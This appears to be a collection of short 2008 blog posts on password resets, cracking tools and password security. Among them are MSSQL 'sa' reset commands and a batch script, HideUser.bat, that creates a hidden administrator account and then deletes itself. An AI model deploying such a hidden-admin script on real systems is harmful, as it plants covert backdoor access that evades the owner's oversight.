This should be of use for those who bought second-hand Wiis that were parental-locked. Marcan wrote a quick little tool to generate Parental Control password reset codes without having to call Nintendo. Bushing found the code inside the system menu, and Marcan converted it into a PSP script (Python Server Pages) which you can use on-line.
Go into the Parental controls itself, then Click “I forgot on the Pin” entry page, and “I forgot on the Secret Answer” entry page. Your 8 digit confirmation code will be on the next page. Enter that code into the box here http://wii.marcansoft.com/parental.psp and it will spit back the code to unlock it.

SA is the administrative login for the MSSQL. To Change the MSSQL SA password please use following steps:

Step 1. Go to the command prompt of the server ( Start >> Run >> Cmd ) and type in command

osql –L

This command will list all the MSSQL servers near you.

Step 2. Copy full name of required MSSQL server and type

osql -S copied_servername –E

By this command you’ll connect to MSSQL server using Server administrator account (Windows Authentication).

Step 3. To change sa password you should execute the following query:

1> sp_password NULL,’new_password’,’sa’
2> go

Here the new_password will be the password which you want to set.

Now try to login to MSSQL using new password.

Another quick way:

OSQL -S MyServer -E -Q "EXEC sp_defaultdb 'sa', 'master'"
OSQL -S MyServer -E -Q "EXEC sp_password NULL, 'NewPassword', 'sa'"

Our friends over at WonderHowTo.com just launched the 2008 Video Awards! For those of you who have never been to the site, or seen our left sidebar on this site linking to their videos,they are the one-stop shop for all how-to videos on the internet. With a library of over 225,000 videos they provide the largest, most contemporary, and most diverse resource in this increasingly growing space.

The WonderHowTo 2008 Video Awards! is their first annual competition that celebrates excellent instructional videos…on any topic under the sun. Since they source and index videos from more than 1900 specialty sites around the world, they truly get front row seats to every insanely wonderful tutorial that is produced. WonderHowTo picked the nominees based on numerous factors including; intent to instruct, originality of concept, and story telling. Categories include Hacks, Sex, Pranks, Weird Science and many more. These finalists’ videos are extremely interesting and I have a feeling that the voting will come down to the wire

Voting will be open for one month, from October 13th through midnight PST November 13, so get over to WonderHowTo right now and vote on the 2008 Best How To Videos In The Universe.

The new version of Foxmarks is finally out. You can now sync your passwords across your computers. Password sync is 100% optional and is turned off by default. Your passwords are secured by encrypting them with an AES 256-bit encryption algorithm before they leave your computer with a PIN that only you know. You can also assign your passwords to sync profiles to keep your personal passwords at home, and your work passwords at the office.

Check it out: http://blog.foxmarks.com/?p=184

Midnight Research Labs has just published a new tool. Depant will scan your network and check to see if services are using default passwords. It starts by performing an Nmap scan to discover available services on the network. It organizes these services by speed of response. Using Hydra it does brute force password checking of these services with a default password list. The user can supply an alternate list for the first phase or an additional list to be used in a followup check. Depant has many different options for configuring your scan and will certainly help you find that rogue piece of hardware on your network that someone failed to set up securely.

I’ll admit it:  Sometimes I’m lazy and sometimes I hedge my bets a little.  I didn’t have the time on Friday to look deeper into the real time requirements to hack a WPA password using Elcomsoft’s new tools.  I knew the time needed was considerable, but I didn’t realize exactly how long it’d take:  George Ou says it’d take 5793 years to crack a WPA password normally and even with a heftier computer than most of us will ever see, it’ll still take almost 6 years to break the key.  And Robert Graham backs him up, saying all it takes is lengthening your key by one character.

I’d overestimated how much of an impact this could make on the security of a wireless network.  I thought Elcomsoft might have come up with a viable attack against WPA, but in reality, this is just a marketing gimmick.  No one’s going to devote 5+ years of computing power to hack a wireless network; first of all the information will probably be obsolete in that time frame, second, no one’s going to keep the same wireless network equipment and passwords for five years.  At least I hope they won’t.

There are any number of easier, quicker ways to break into a network than trying to brute force the WPA passphrase, everything from social engineering to just breaking in and stealing the servers.  Cracking the WPA will probably become easier as time goes by, but for now WPA is still a viable way to secure your wireless.  Unless you’re doing something stupid like using dictionary words in your passphrase.

Via: mckeay.net

Nice little .bat script trick from illwill @ illmob.org that will create user who’s account will be hidden from the logon screen and the User Accounts screen in control panel. This will only work if its ran from an account that has admin rights. It’s great for a backup account.

@echo off
rem HideUser.bat 
rem by illwill    http://illmob.org
rem This will create a hidden user with admin rights in XP/Vista
rem ( hidden meaning that the username wont appear in the logon screen)
rem change the illwill & passw0rd to your own
rem Add once you log into your new account dont forget to hide the user folder
rem "attrib +r +a +s +h %USERPROFILE%"


SET NEWUSER=adm1n
SET PASS=passw0rd

net user %NEWUSER% %PASS% /add && net localgroup administrators %NEWUSER% /add>nul 2>&1
reg.exe ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %NEWUSER% /t REG_DWORD /d 0 /f>nul 2>&1
DEL %0

So your the only user on your computer and you want to have the security of your own password, but you don’t want to have to wait for all your startup programs to launch when you first boot up. You wish there was just some way to have your computer startup, load all your programs, but be secure so that it does it all in the background of the login screen and you don’t have to wait for it.

Paying something like $50 for a program such as Tweak UI is just out of the question, wouldn’t you agree? Well, luckily for you, you can do this for free! Just follow the next couple of steps in this post and you will have your dream in no time.
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We all know cracking techniques through graphics cards speciifically CUDA based NVidia is on the rise. Now the programmers have set their sights on WIFI cracking. One group reportedly bored through WPA and WPA2 encryptions using a brute-force technique juiced with one of Nvidia’s latest graphics cards . The card supposedly made the “password recovery” process up to 10,000 percent faster than CPU-based cracking. (more…)

Life these days has become largely dependent on passwords – whether we’re checking our emails, transferring funds or shopping online, passwords have their part to play. We’re constantly bombarded with horror stories of security breaches, fraud, and phishing sites. Users are consistently told that a strong password is essential these days to protect private data. Why is it, then, that users on websites opt for the same, consistent, insecure passwords time after time?

Taking an aggregate sample of passwords (primarily from the UK), we take a look at the most commonly occurring. If you spot your own password listed – it might just be time for a change!
(more…)